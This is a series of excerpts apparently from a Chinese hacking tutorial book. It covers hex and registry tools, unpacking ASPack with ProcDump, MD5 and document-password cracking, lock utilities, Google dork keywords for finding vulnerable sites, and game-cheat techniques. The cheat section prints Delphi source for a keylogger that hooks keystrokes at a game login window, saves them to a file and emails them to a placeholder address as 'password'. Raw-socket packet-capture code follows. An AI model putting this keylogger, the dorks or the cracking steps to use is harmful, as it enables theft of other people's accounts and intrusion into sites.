    {"text": "步骤6：有时候还需要按一定的格式复制HexWorkshop所显示的十六进制数据，HexWorkshop支持C语言格式、Java语言格式、HTML格式、文本格式、RTF格式等。 此时只要选中一部分十六进制数据，选择【编辑】→【复制为】→【C源代码】菜单项，即可将所选数据转换成C语言格式，如图5-37所示。"},
    {"text": "图 5-37 选择相应的菜单项 步骤7：如果需要对两个相似的文件进行比较，以判断文件是否被修改或修改了何处，则可以选择【工具】→【比较】→【比较文件】菜单项来打开比较工具，在【来源】菜单和【目标】菜单中打开想要比较的两个文件； 也可以单击【高级（A）】按钮，在其中设置进行比较的详细范围，单击【确定】按钮，即可开始比较，如图5-38所示。 图 5-38 【比较】对话框 步骤8：在比较结束之后，将会出现比较结果，如图5-39所示。"},
    {"text": "图 5-39 显示比较结果 图 5-40 显示被替换的具体字节 2.注册表监视器RegShot RegShot是一款小巧的注册表静态比较工具，可快速发现注册表地变化，甚至通过扫描硬盘来掌握硬盘上某些文件夹（或是整个硬盘）的改变。"},
    {"text": "单击【快照（A）】按钮，就可以实现自动记录了。 图 5-41 RegShot主窗口 步骤2：待被监视对象运行完毕之后，单击【快照(B)】按钮，RegShot即可自动进行记录。"},
    {"text": "图 5-42 RegShot输出比较结果 3.脱壳工具Procdump ProcDump是一款功能非常强大的通用脱壳工具，支持几十种加壳工具生成压缩加密软件，最大特点就是有一个脚本文件scipt.ini。"},
    {"text": "步骤1：下载并解压缩\"ProcDump\"文件夹，双击\"ProcDump\"应用程序图标，即可打开\"ProcDump\"主窗口，如图5-43所示。 单击【Options】按钮，即可弹出【ProcDump32 Optinos】设置对话框，如图5-44所示。 图 5-43 ProcDump运行主窗口 图 5-44 ProcDump32选项设置对话框 步骤2：在设置完成之后，单击【OK】按钮，即可返回【ProcDump】主窗口。"},
    {"text": "图 5-46 选择可执行文件对话框 下面是用ProcDump脱ASPack壳的脚本scipt.ini扩展，具体的实现代码如下： Pxx=Aspack(All Vetsion)(XX为十六进制) [Aspack(All Vetsion)] L1=OBJR L2=LOOK EB,? L3=JZ5 L4=QUIT L5=BP L6=WALK L7=OBJR L8=LOOK61,75 L9=BP LA=STEP OPTL1=00000000 OPTL2=01010001 OPTL3=01010001 OPTL4=00030000 OPTL5=00000000 在添加此代码到脚本中之后，再重新启动ProcDump软件，就可以脱掉目前为止所有ASPack软件加的壳了。"},
    {"text": "未知 第47招 破解MD5加密实例 MD5（Message-digest Algorithm 5，信息-摘要算法）密码转换器主要是对数据进行MD5算法转换。ASP数据库几乎都是这样加密的，虽然解密比较困难，但通过强大的字典解密，效果不错，而且使用这个软件加密的密码很少有人能猜出来。随着MD5密码的流行，破解MD5的方法也是越来越多，下面从本地和网络两种方式来讲述MD5是如何实现暴力破解的。 1.本地破解MD5 现在破解MD5加密的软件有很多，下面将为大家介绍一款名叫“MD5加强破解工具”，这个工具功能很齐全，简单易学，很适合黑客初学者使用。 （1）单个MD5密码破解 使用MD5进行密码破解的具体操作步骤如下。 步骤1：下载并双击桌面上的\"MD5\"应用程序图标，即可打开\"MD5\"主窗口，如图5-47所示。 图 5-47 【MD5】主窗口 步骤2：在“密文设置”栏中选择“破解单个密文”单选项，在其后文本框中输入要破解的MD5密码（如\"407de5e0d85a21d317de8def45fa331b\"），在“字符设置”栏中勾选“小写字母”复选项，在“速度”栏中设置线程最大数，此参数值越高，破解所需时间就越短，随之消耗的计算机资源空间也就越大，如图5-48所示。 图 5-48 输入MD5密文 步骤3：在设置完毕后单击【开始】按钮，即可开始破解MD5密码，在右下角的列表框中即可看到破解的进度，如图5-49所示。待破解完成后，即可弹出【MD5完成提示】对话框，在右下角横向列表框中可以看到破解结果，如图5-50所示。 图 5-49 破解进度 图 5-50 破解结果 （2）多个MD5密码破解 多个MD5密码破解和单个破解的操作方法很相似。 具体的操作步骤如下。 步骤1：建立一个名为\"md5.txt\"的文本文件，用来存放需要破解的多个MD5密码，如图5-51所示。 图 5-51 \"md5.txt\"文本文件 步骤2：在\"MD5\"主窗口中选择“密文设置”栏目里的“破解多个密文”单选项，单击【设置】按钮，即可打开【MD5Crack Cryptog Seting】对话框，如图5-52所示。 图 5-52 【MD5Crack Cryptog Seting】对话框 步骤3：选择“从文件中读取”单选项，即可激活【浏览】按钮。再单击【浏览】按钮，即可打开【打开】对话框，在其中选择\"md5.txt\"文件，如图5-53所示。 图 5-53 【打开】对话框 步骤4：单击【打开】按钮，即可返回【MD5Crack Cryptog Seting】对话框，如图5-54所示。单击【确定】按钮，即可返回【MD5】主窗口。单击【开始】按钮，即可开始破解MD5密码，在右下角列表框中可看到破解的进度。 图 5-54 【MD5Crack Cryptog Seting】对话框 步骤5：待破解完成后，即可弹出【MD5完成提示】对话框，在右下角横向列表框中可以看到破解结果。 2.在线破解MD5 相对于本地密码破解，网上在线破解就容易得多了，现在也有很多能够在线破解MD5的网站（如\"http://www.xmd5.org/\"就是个很受欢迎的MD5在线破解网站）。 具体的操作步骤如下。 步骤1：打开\"Internet Explorer\"浏览器，在地址栏中输入\"http://www.xmd5.org/\"，按下回车键后，即可打开\"XMD5\"网站。将要破解的MD5密文（如\"407de5e0d85a21d317de8de f45fa331b\"）输入到输入框中，如图5-55所示。 图 5-55 输入MD5密文 步骤2：单击【给我转】按钮，即可开始破解密码。等待破解完成后，即可打开\"md5 reverse\"页面，在其中查看破解的结果，如图5-56所示。 图 5-56 破解后的结果 3.MD5密码转换器应用实战 使用“MD5密码转换器”可以很方便地将一组字符用MD5方式完成加密，具体的操作方法为：先打开MD5密码转换器，如图5-57所示。在“MD5原码”文本框中输入要转换的字符，单击【字典转换】按钮，加密后的密文将显示在“加密密码”文本框中。 图 5-57 MD5密码转换器 当然，使用“MD5密码转换器”可以很方便地破解密文，具体的操作方法为：使用MD5密码转换器进行解密时，将要破解的密文直接复制到“加密密码”文本框中，单击【字典还原】按钮，还原后的密码将出现在“MD5原码”文本框中。 由于MD5采用的是不可逆算法，字典还原不可能还原所有密文，当字典中没有要还原密文对应的密码时，“MD5密码转换器”将会要求启动暴力破解程序。"},
    {"text": "未知 第48招 给系统桌面加把超级锁 为了避免别人趁机动用自己的计算机，用户可使用桌面锁软件SecureIt Pro来解决这个问题，该软件可以让任何人（包括自己）都无法在不输入正确的密码情况下使用计算机。 1.生成后门口令 在开始使用SecureIt Pro前，因为软件为了防止用户忘记了进入口令，需要先填一些基本信息，并会根据这些信息自动生成一个后门口令，用于必要时登录使用。 具体的操作步骤如下。 步骤1：下载并安装\"SecureIt Pro\"软件，双击桌面上的\"SecureIt Pro\"应用程序图标，即可打开【SecureIt Pro-End User's License Agreement】对话框，在其中认真阅读SecureIt Pro软件的使用许可协议，如图5-58所示。 图 5-58 【SecureIt Pro-End User's License Agreement】对话框 步骤2：勾选\"Yes, I agree to be bound by the terms of the license Agreement\"单选项，单击【Continue】按钮，即可打开【SecureIt Pro First Time Initialization-1】对话框，在其中查看首次初始化的基本信息，如图5-59所示。 图 5-59 【SecureIt Pro First Time Initialization-1】对话框 步骤3：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-2】对话框，在其中填写注册信息，如图5-60所示。 图 5-60 【SecureIt Pro First Time Initialization-2】对话框 步骤4：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-3】对话框，用于查看自动生成的一个后门口令，以便于帮助用户登录时使用，如图5-61所示。 图 5-61 【SecureIt Pro First Time Initialization-3】对话框 步骤5：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-4】对话框，要求用户在仅有的空白文本框中填写前面自动生成的后门口令，如图5-62所示。 图 5-62 【SecureIt Pro First Time Initialization-4】对话框 步骤6：单击【Next】按钮，即可打开【SecureIt Pro First Time Initialization-5】对话框，如图5-63所示。单击右下角 按钮，即可弹出\"SecureIt Pro\"提示框，提示“已输入的信息不能更改，是否继续？”，单击【是】按钮，即可完成整个初始化操作，如图5-64所示。 图 5-63 【SecureIt Pro First Time Initialization-5】对话框 图 5-64 \"SecureIt Pro\"提示框 注意 在因遗忘密码而被锁定时，如果想使用后门口令，请使用\"Shift+Ctrl\"组合键并右击SecureIt Pro程序主界面左上角的锁定标记。 2.设置登录口令 在开始使用SecureIt Pro之前，先要设置进入的口令。这样才能在以后利用这个口令来锁定计算机，反之，用来开启这个锁。具体的操作步骤如下。 步骤1：双击桌面上的\"SecureIt Pro\"应用程序图标，即可弹出【SecureIt Pro口令设置】窗口，在其中可以设置进入时的口令，如图5-65所示。 图 5-65 SecureIt Pro口令设置窗口 步骤2：在“密码”右侧的文本框中输入口令，单击【Lock】按钮，即可弹出【SecureIt Pro-Password Verification Required】对话框，在验证密码文本框中输入相同口令后，就可以将计算机进入锁定状态，如图5-66所示。 图 5-66 SecureIt Pro-Password Verification Required对话框 3.如何解锁 在锁定状态下，他人只能在桌面上看到一个\"SecureIt Pro-Locked\"窗口，其他信息（如原有程序）都呈现不可见状态。任何人都必须输入正确口令并单击【Unlock】按钮才能进入计算机。他人可以给计算机设定锁定状态的用户留言，当用户回到计算机后，就能查看这些留言，如图5-67所示。 图 5-67 SecureIt Pro-Locked窗口 未知 第49招 WinRAR压缩文件加密解密 压缩文件也是在日常操作中使用非常多的，将所制作的文档通过压缩软件来实施加密，不仅可以减小磁盘空间，还可以更好地保护自己的文档。 1.用WinRAR加密文件 WinRAR是一款较WinZip出版晚一点的高效压缩软件，其不但压缩比和操作方法都较WinZip优越，而且能兼容ZIP压缩文件，可以支持RAR、Zip、ARJ、CAB等多种压缩格式，并且可以在压缩文件时设置密码。具体的操作步骤如下。 步骤1：用鼠标右击需要压缩并加密的文件，在快捷菜单中选取【添加到压缩文件】选项，在【压缩文件名和参数】对话框中设置压缩文件的名称及压缩格式，如图5-68所示。 图 5-68 设置压缩选项 步骤2：切换到【高级】选项卡，如图5-69所示。单击【设置密码】按钮，即可打开【带密码压缩】对话框，如图5-70所示。在其中输入密码后，连续单击【确定】按钮，即可生成加密的RAR文件。 图 5-69 【高级】选项卡 图 5-70 【带密码压缩】对话框 2.RAR Password Recovery RAR Password Recovery软件是专为解除RAR压缩文件的密码而制作，其操作界面如图5-71所示。单击【打开】按钮，在其中选择需要解除密码的RAR文件。选择破解方式并在相应选项卡中设置其选项。单击【开始】按钮，即可开始破解。 图 5-71 RAR Password Recovery主窗口"},
    {"text": "未知 第50招 Word文件的加密解密 大多数文档编辑都是在Word中完成的，这就必然涉及一些隐私或机密文件的安全问题。于是，对Word文件进行加密就势在必行了。 1.Word自身功能加密 Word自身提供了简单的加密功能，可以通过下面两种方法轻松实现。 （1）使用“版本”命令 “版本”功能可以让用户在编辑过程中把文档保存成不同的“版本”，以便日后对文档进行查看与修改。其实利用这个功能，用户还可在一个Word文件中隐藏并保存多个独立文档，就像一个Excel工作簿具有多个电子表格一样，很利于文件的管理。 具体的操作方法如下。 步骤1：新建一个文档并输入编辑一个文档内容之后，选择【文件】→【版本】菜单项，即可打开保存版本对话框，如图5-72所示。 图 5-72 保存版本对话框 步骤2：单击【现在保存】按钮，即可打开【保存版本】对话框，在“版本备注”文本框中输入当前文档的标题或简单说明之后，单击【确定】按钮，即可将当前文本保存下来。 步骤3：将原来编辑的内容全部删除之后，再重新输入编辑一个新的文档内容，并重复上述操作，将新文档内容保存成另一个版本。将工作区中的所有内容全部删除，并选择【文件】→【保存】菜单项，将当前文档保存。 这样，当别人打开该文档时眼前就会显示一片空白，还以为是一个空白文档呢？只有选择【文件】→【版本】菜单项，在打开的对话框中选择所需版本并单击【打开】按钮，才可以浏览到其中的内容。 （2）利用【选项】功能 利用选项功能进行加密的具体操作方法如下。 步骤1：编辑或打开一个需要加密的文档，选择【工具】→【选项】菜单项，即可打开【选项】对话框，如图5-73所示。 图 5-73 【安全性】选项卡 步骤2：在【安全性】选项卡中可以设置当前文档的密码以及修改当前文档的密码（这两个密码可以相同，也可以不同），单击【高级】按钮，即可打开【加密类型】对话框，在其中选择密码类型以及密钥长度，如图5-74所示。 图 5-74 【加密类型】对话框 2.使用Word Password Recovery解密Word文档 Word Password Recovery是一款专门用于对Word文档进行解密的工具，其操作界面如图5-75所示。在该软件中用户可设置不同解密方式，从而提高解密的针对性，加快解密速度。 图 5-75 Word Password Recovery操作界面 具体的操作步骤如下。 步骤1：单击【Browse】按钮，即可在打开的对话框中选择需要解密的Word文档。 步骤2：在【Brute-force】选项卡中可设置解密时密码的长度范围以及允许参与密码组合的字符；在【Booost-Up Engine】选项卡中可选择最佳密码组合以及破解速度和密码破解能力；在【Dictionary】选项卡中可选择破解时所使用的字典文件；在【Options】选项卡中可设置破解过程中自动保存的时间间隔等。 步骤3：在设置完成之后，单击【Start】按钮，即可开始破解。在破解完毕之后，将弹出【Password recovered】对话框，并在\"Statistics\"区域中显示相关信息，如图5-76所示。 图 5-76 【Password recovered】对话框"},
    {"text": "未知 第51招 宏加密解密技术 在Microsoft Office套件中内嵌了一个Visual Basic编辑器，它是宏产生的源泉。使用宏同样可将Word和Excel文档进行加密。对Word文档而言，最大的敌人当然就是宏病毒了。 1.使用宏进行加密 在Word里使用宏进行防范设置十分简单，选择【工具】→【宏】→【安全性】菜单项，即可打开如图5-77所示的对话框，确保选中“高”或“中”选项。这样，以后每打开一个文档，系统都会检查它的数字签名，一旦发现是不明来源的宏，即可将它置之门外。 图 5-77 【安全性】对话框 另外，为阻止可恶的宏病毒在打开文件时自动运行并产生危害，可以在打开一个Office文件时，很容易阻止一个用VBA写成的在打开文件时自动运行的宏的运行。 选择【文件】→【打开】菜单项，在【打开】对话框中选择所要打开的文件名称，在单击【打开】按钮时按住Shift键，Office将在不运行VBA过程的情况下，打开该文件。按住Shift键阻止宏运行的方法，同样适用于选择【文件】菜单底部的文件（最近打开的几个文件）。 同样，在关闭一个Office文件时，也可以很容易地阻止一个用VBA写成，将会在关闭文件时自动运行的宏。从中选择【文件】→【关闭】菜单项，在单击【关闭】按钮时按住Shift键，Office将在不运行VBA过程的情况下关闭这个文件（按住Shift键同样适用于单击窗口右上角的“×”关闭文件时阻止宏的运行）。其实，还可以利用宏来自动加密文档，选择【工具】→【宏】→【宏】菜单项，即可打开【宏】对话框，如图5-78所示。 图 5-78 【宏】对话框 在“宏名”文本框中输入\"AutoPassword\"之后，在“宏的位置”下拉列表框中选择“所有的活动模板和文档”选项，再单击【创建】按钮，即可显示【Microsoft Visual Basic】窗口，如图5-79所示。在\"End Sub\"语句的上方插入如下代码： With Options .AllowFastSave=True .BackgroundSave=True .CreateBackup=False .SavePropertiesPrompt=False .SaveInterval=10 .SaveNormalPrompt=False End With With ActiveDocument .ReadOnlyRecommended=False .EmbedTrueTypeFonts=False .SaveFormsData=False .SaveSubsetFonts=False .Password=\"2009\" .WritePassword=\"2009\" End With Application.DefaultSaveFormat=\"\" 图 5-79 Microsoft Visual Basic窗口 其中的.Password=\"2009\"表示设置打开权限密码，.WritePassword=\"2009\"表示设置修改权限密码。在输入完上述代码之后，选择【文件】→【保存Normal】菜单项，再执行关闭并返回到Microsoft Word即可。 2.解除宏密码 VBA Key是一款专门用于Office文档通过宏加密后的解密工具，其操作界面如图5-80所示。其操作方法非常简单，只需单击【Recover】按钮，在【Recover】对话框中选择需要破解的文档。单击【打开】按钮，即可按照用户设置好的条件进行破解。在找到密码之后，将给出具体提示信息。 图 5-80 VBA Key操作界面"},
    {"text": "未知 第52招 系统全面加密PC Security 系统级的加密工具PC Security可以帮助大家锁定互联网、任何文件与目录、任何磁盘分区和系统等。 1.锁定驱动器 使用PC Security锁定驱动器是很简单的事情，以锁定存储有重要文件的D盘为例，在PC Security安装完毕后，在【我的电脑】窗口中右击D盘盘符，从快捷菜单中选择【PC Security】→【Lock】选项，即可完成对D盘的锁定操作，如图5-81所示。 图 5-81 “我的电脑”窗口 2.锁定系统 PC Security可以完成多种方式的系统锁定，下面逐一进行讲述。 （1）即时锁定系统 如果需要暂时离开计算机，为防止他人恶意操作自己的计算机，就可以即时锁定自己的计算机系统。具体的操作步骤如下。 步骤1：下载并安装\"PC Security\"软件，双击桌面上的\"PC Security\"应用程序图标，即可弹出“密码输入”窗口，如图5-82所示。 图 5-82 “密码输入”窗口 步骤2：在\"Password\"文本框中输入正确的登录密码（默认为Security），即可登录\"PC Security\"操作管理界面。如图5-83所示。 图 5-83 \"PC Security\"操作管理界面 步骤3：在登录操作管理界面后，单击\"System Lock\"链接，即可进入“系统锁定”设置界面，如图5-84所示。 图 5-84 “系统锁定”设置界面 步骤4：单击右侧【Lock the Computer Now】按钮，当前系统将自动切换到类似屏幕保护的状态，在屏幕窗口中有一个【密码输入】对话框，只有输入了PC Security的登录密码才能恢复系统的正常使用状态。 （2）启动时锁定系统 采用启动时锁定系统功能，可彻底地解决Windows XP系统不需密码就登录系统的安全隐患。在此功能启用后，当用户登录Windows XP系统时，在【登录】对话框中单击【确定】按钮，将会自动进入类似屏幕保护状态的PC Security登录状态。使用方法很简单，只需单击“系统锁定”界面中的\"Lock on Startup\"选项即可，如图5-85所示。 图 5-85 设置\"Lock on Startup\"选项 （3）指定时间锁系统 若勾选\"Lock After' 'in-active minutes\"选项，在数字栏中输入所需的数字后，PC Security就会自动地在指定的时间内若无活动就将系统锁定，如图5-86所示。 图 5-86 设置\"Lock After''in-active minutes\"选项 （4）锁定活动窗口 如果大家在运行程序时来了一个朋友要借用一下计算机，这个时候往往不方便将正在运行的程序关闭，但又不想让朋友打开正在运行的程序。这个看起来很麻烦的问题，通过PC Security将会很容易地被解决。具体的操作步骤如下。 步骤1：在登录操作管理界面中单击\"Windows Lock\"链接项，即可打开“窗口锁定”设置界面。如图5-87所示。 图 5-87 “窗口锁定”设置界面 步骤2：单击窗口【Add Title Pattern】按钮，即可弹出【Add a Title Search String】对话框，再单击\"Window Title\"右侧下三角按钮，在当前运行程序列表中选择要锁定的程序，单击【OK】按钮，返回“窗口锁定”设置界面，如图5-88所示。 图 5-88 【Add a Title Search String】对话框 步骤3：在“窗口锁定”设置界面中勾选\"Disable\"、\"Invisible\"等所需选项后，单击【Relock Window】按钮，即可打开【窗口锁定】窗口。此时可看到选中的程序列表，从其下方状态列表中可以看出当前程序为禁止使用状态，如图5-89所示。 图 5-89 显示锁定的窗口 （5）锁定程序 如果系统中有一些很重要的程序不方便被其他使用，也可以使用PC Security来完成程序的锁定。在登录操作管理界面中单击\"Program Lock\"链接项，即可打开“程序锁定”设置界面。通过展开目录选项中需锁定的程序，单击中间的锁定方式（只读或完全），单击【Lock】按钮，即可锁定程序，如图5-90所示。 图 5-90 “程序锁定”设置界面 3.验证加密效果 究竟锁定目录对于非法用户们有没有访问约束力呢？这里通过实例介绍一下，先使用PC Security将服务器的D盘下的IMA目录锁定，通过局域网中另一台计算机对服务器进行木马控制，此时大家会发现远程控制对于服务器中锁定的IMA目录无法读取。 如果恶意用户想通过网络将PC Security卸载后进行信息窃取，他们可能会非常失望，因为PC Security必需在输入密码后才可卸载。"},
    {"text": "未知 第3招 探测搜索引擎 为了使网民搜索信息的速度更加快捷，更加准确，专门在Internet上执行信息搜索任务的搜索引擎技术应运而生了。目前，使用率最高的搜索引擎是www.baidu.com和www.google.com。 1.特殊的“关键词”搜索探测 通过搜索引擎网站，黑客可通过搜索特殊的“关键词”来查找到一些具有漏洞的网站。比如，在动态网站中一般会有Conn.asp这个文件，它用于存储数据库文件的路径、名称等信息，黑客在搜索引擎中总是喜欢使用它作为搜索关键词。具体的操作步骤如下。 步骤1：先进入使用率最高的搜索引擎首页，在搜索文本框中输入需要搜索的相关信息，这里以搜索\"Inurl：/admin+conn.asp\"为例，如图1-20所示。其中，admin表示后台管理目录，通常用于存储所有的管理文件。当然，也可改成其他的目录名，但目录名要在网站中存在才可以。 图 1-20 Google搜索引擎首页 步骤2：在其中输入搜索内容并选中想要搜索的方式（这里选择“所有网页”方式），单击【Google搜索】按钮，即可打开搜索结果页面，在其中可以看到所有的搜索项目，如图1-21所示。单击任意一条搜索项目，即可进入相应信息页面。 图 1-21 搜索结果页面 提示 在www.google.com中黑客使用的关键词有很多，如upload.asp site：tw、inurl：winnt\\system32\\inetsrv\\等，这些关键词都可以为黑客起到为虎作伥的作用。 2.专用工具搜索探测 Google hacker（Google黑客）是利用Google提供的搜索功能查找黑客们想找到的信息。一般是查找网站后台、网管的个人信息，也可以用来查找某人在网络上的活动。Google hacker一般是作为黑客在入侵时的一个手段，有时可在入侵过程中查找后台的登录口。 使用\"google hacker v2.0\"进行搜索的具体操作步骤如下。 步骤1：下载并解压\"google hacker v2.0\"压缩包，双击\"google hacker v2.0\"应用程序图标，即可进入\"google hacker v2.0\"的主窗口。在“google搜索专用参数”下拉列表框中，选择一种参数的类型，如图1-22所示。 图 1-22 \"google hacker v2.0\"主窗口 步骤2：单击【让我们去……】按钮，即可进入相应的搜索页面，如图1-23所示。也可在\"Google\"搜索栏目中输入关键词“163”，单击【搜索】按钮，即可打开IE浏览器访问www.google.com，并会自动输入指定关键词进行搜索，如图1-24所示。 图 1-23 Google搜索专用参数页面 图 1-24 Google搜索 步骤3：由于列举的关键词都是常见的漏洞，所以搜索结果的数量通常都会比较惊人。搜索结果显示如图1-25所示。 图 1-25 关键词“163”搜索页面"},
    {"text": "就功能来说外挂也是多种多样，有游戏辅助类外挂、密码盗取类外挂、游戏加强类外挂等多种。 1.解除木马式外挂 众所周知，木马式外挂是用来帮助外挂的人偷取别人游戏的账号及密码的。 此类外挂程序的实现方法很多，如HOOK、键盘监视等技术，因为HOOK技术在实际应用上需要多带一个动态链接库，所以在文中会以键盘监视技术来实现此类木马的制作。 键盘监视技术只需要一个.EXE文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。 制作解除木马式外挂程序的思路是先知道想记录游戏的登录窗口名称；"},
    {"text": "其实只要用FindWindow函数就可以很轻松地实现了。 其代码显示如下： HWND FindWindow( LPCTSTR lpClassName,//pointer to class name LPCTSTR lpWindowName//pointer to window name ); 实际程序实现中，要找到\"xx\"窗口，就用FindWindow（nil，'xx'），如果当返回值大于0时表示窗口已经出现，就可以对键盘信息进行记录了。"},
    {"text": "先要用SetWindowsHookEx设置监视日志，而该函数的用法如下： HHook SetWindowsHookEx( int idHook,//type of hook to install HOOKPROC lpfn,//address of hook procedure HINSTANCE hMod,//handle of application instance DWORD dwThreadId//identity of thread to install hook for ); 在程序中要在HookPROC里通过写一个函数来实现，而HINSTANCE只需直接用本程序的HINSTANCE就可以了。 具体实现方法如下： HHOOK:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance,0); 而HookPROC里的函数就要复杂一点点，其显示如下： function HookProc(iCode:integer;wParam:wParam;lParam:lParam):LResult;stdcall; begin if findedtitle then file://如果发现窗口后 begin if(peventmsg(lparam)^.message=WM_KEYDOWN)then file://消息等于键盘按下 hookkey:=hookkey+Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.par amH); if length(hookkey)＞0 then file://如果获得按键名称 begin Write(hookkeyFile, hookkey);file://把按键名称写入文本文件 hookkey:=''; end; end; end; 上述是记录键盘的整个过程，如果记录完可不要忘记释放，UnHookWindowsHookEx（hHook），而hHOOK，就是创建SetWindowsHookEx后所返回的句柄。"},
    {"text": "具体代码如下： assignfile(ReadFile,'hook.txt');file://打开hook.txt这个文本文件 reset(ReadFile);file://设为读取方式 try While not Eof(ReadFile)do file://当没有读到文件尾 begin Readln(ReadFile, s,j);file://读取文件行 body:=body+s; end; finally closefile(ReadFile);file://关闭文件 end; nmsmtp1.EncodeType:=uuMime;file://设置编码 nmsmtp1.PostMessage.Attachments.Text:='';file://设置附件 nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com';file://设置源邮件地址 nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com';/设置目标邮件地址 nmsmtp1.PostMessage.Body.Text:='密码'+''+body;file://设置邮件内容 nmsmtp1.PostMessage.Subject:='password';file://设置邮件标题 nmsmtp1.SendMail;file://发送邮件 2.解除加速式外挂 所谓加速式外挂其实是以修改时钟频率达到加速的目的，以前DOS时代玩过编程的人马上就会想到，直接修改一下8253寄存器即可。"},
    {"text": "3.解除封包式外挂 网络游戏封包技术是大多数编程爱好者都比较关注的问题之一，涉及的技术范围很广泛，实现方式也很多（如APIHOOK、VXD、Winsock2都可以实现）；"},
    {"text": "先要定义Winsock2.0所用得到的类型，这里以WSA_DATA类型做示范，WSA_DATA类型会被用于WSAStartup（wVersionRequired：word;var WSData:TWSAData）:Integer； ，WSData是引用参数，在传入参数时传的是变量的地址，所以对WSA_DATA做如下封装： const WSADESCRIPTION_LEN=256; WSASYS_STATUS_LEN=128; type PWSA_DATA=^TWSA_DATA; WSA_DATA=record wVersIon:Word; wHIghVersIon:Word; szDescription:array[0..WSaDESCRIPTION_LEN]of Char; szSystemStatus:array[0..WsASYS_STATUS_LEN]of Char; iMaxSockets:Word; IMaxUdpDg:Word; lpVendorInfo:PChar; end; TWSA_DATA=WSA_DATA; 大家要从WS2_32.DLL引入Winsock2的函数，在此也是以WSAStartup为例做函数引入： function WSAStartup(wVersionRequired:word;var WsData:TWSAData):Integer;stdcall; implementation const WInSocket2='WS2_32.DLL'; function WSAStartup;external winsocket name'WSAStartup'; 通过上述方法可对Winsock2做接口，就可以用Winsock2做封包捕获了，不过先要有一块网卡。"},
    {"text": "如果下面的某些数据类型不是很清楚，可以查阅MSDN： 1）要启动WSA，这时要用到的WSAStartup函数，用法如下： INTEGER WSAStartup( wVersionRequired:word, WSData:TWSA_DATA ); 2）使用Socket函数得到Socket句柄，m_hSocket:=Socket(aF_InEt, SOCK_RAW, IPPROTO_IP)； 用法如下： INTEGER socket(af:Integer, Struct:Integer, protocol:Integer ); m_hSocket:=Socket(AF_INEt, SOCK_RAW, IPPROTO_IP)； 在程序里m_hSocket为socket句柄，AF_INET, SOCK_RAW, IPPROTO_IP均为常量。 3）定义SOCK_ADDR类型，根据网卡IP给Sock_ADDR类型赋值，使用bind函数来绑定网卡，bind函数用法如下： Type IN_ADDR=record S_addr:PChar; End; Type TSOCK_ADDR=record sIn_famIly:Word; sin_port:Word; sin_addr:IN_ADDR sin_zero:array[0..7]of Char; End; var LocalAddr:TSOCK_ADDR; LocalAddr.sin_family:=AF_INET; LocalAddr.sin_port:=0; LocalAddr.sin_addr.S_addr:=inet_addr('192.168.1.1');//自己网卡的IP地址,而Inet_addr这个函数是winsock2的函数。 bind(m_hSocket, LocalAddr, sizeof(LocalAddr)); 4）用WSAIoctl来注册WSA的输入输出组件，其用法如下： INTEGER WSAIoctl(S:INTEGER, dwIoControlcode:INTEGER, lpvInBuffer:INTEGER, cbInBuffer:INTEGER, lpvOutBuffer:INTEGER, cbOutBuffer:INTEGER, lpcbBytesReturned:INTEGER, lpOverlapped:INTEGER, lpCompletIonRoutine:INTEGER ); 5）下面做死循环，在死循环块里来实现数据的接收。"},
    {"text": "在循环块里，用recv函数来接收数据，recv函数用法如下： INTEGER recv(S:INTEGER, buffer:Array[0..4095]of byte, length:INTEGER, flags:INTEGER, ); 6）在buffer中就是已接收回来的数据，如果想要知道数据发送来的地方，则要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的十六进制数据需要转换一下。"},
    {"text": "未知 第6章 病毒与木马攻击防御 重点提示 ♂病毒分析与自制 ♂VBS代码也可产生病毒 ♂功能强大的DOC病毒 ♂全面防范网络蠕虫 ♂手动查杀病毒 ♂使用杀毒软件 ♂防范木马入侵 本章精粹： 本章主要讲述了几种病毒和木马入侵与防范的方法，有助于读者有效地防范计算机病毒和木马。在真正了解病毒之后，使自己的系统从此变得“百毒不侵”，系统安全将不再成为一个恼人的问题。 借助一款黑客工具无疑可以使其“攻城掠机”变得事半功倍，其实在众多黑客工具中，病毒与木马无疑是黑客们的至爱。"},
    {"text": "未知 第54招 病毒知识入门 目前计算机病毒在形式上越来越难以辨别，造成的危害也日益严重，所以要求网络防毒产品在技术上更先进，功能上更全面。 1.计算机病毒的特点 计算机病毒虽是一个小程序，一般计算机病毒具有如下几个共同的特点： 1）程序性（可执行性）：计算机病毒与其他合法程序一样，是一段可执行程序，但它不是一个完整的程序，而是寄生在其他可执行程序上，所以它享有该程序所能得到的权力。 2）传染性：传染性是病毒的基本特征，计算机病毒会通过各种渠道从已被感染的计算机扩散到未被感染的计算机。 病毒程序代码一旦进入计算机并被执行，就会自动搜寻其他符合其传染条件的程序或存储介质，确定目标后再将自身代码植入其中，实现自我繁殖。 3）潜伏性：一个编制精巧的计算机病毒程序，进入系统之后一般不会马上发作，可以在很长一段时间内隐藏在合法文件中，对其他系统进行传染，而不被人发现。 4）可触发性：是指病毒因某个事件或数值的出现，诱使病毒实施传染或进行攻击的特性。 5）破坏性：系统被病毒感染后，病毒一般不会立刻发作，而是潜藏在系统中，等条件成熟后，便会发作，给系统带来严重的破坏。 6）主动性：病毒对系统的攻击是主动的，计算机系统无论采取多么严密的保护措施，都不可能彻底地排除病毒对系统的攻击，而保护措施只是一种预防的手段。 7）针对性：计算机病毒是针对特定的计算机和特定的操作系统的。 2.病毒的三个基本结构 计算机病毒本身的特点是由其结构决定的，所以计算机病毒在其结构上有其共同性。 计算机病毒一般包括引导模块、传染模块和表现（破坏）模块三大功能模块，但不是任何病毒都包含这三个模块。 传染模块的作用是负责病毒的传染和扩散，而表现（破坏）模块则负责病毒的破坏工作，这两个模块各包含一段触发条件检查代码，当各段代码分别检查出传染和表现（破坏）触发条件时，病毒就会进行传染和表现（破坏）。"},
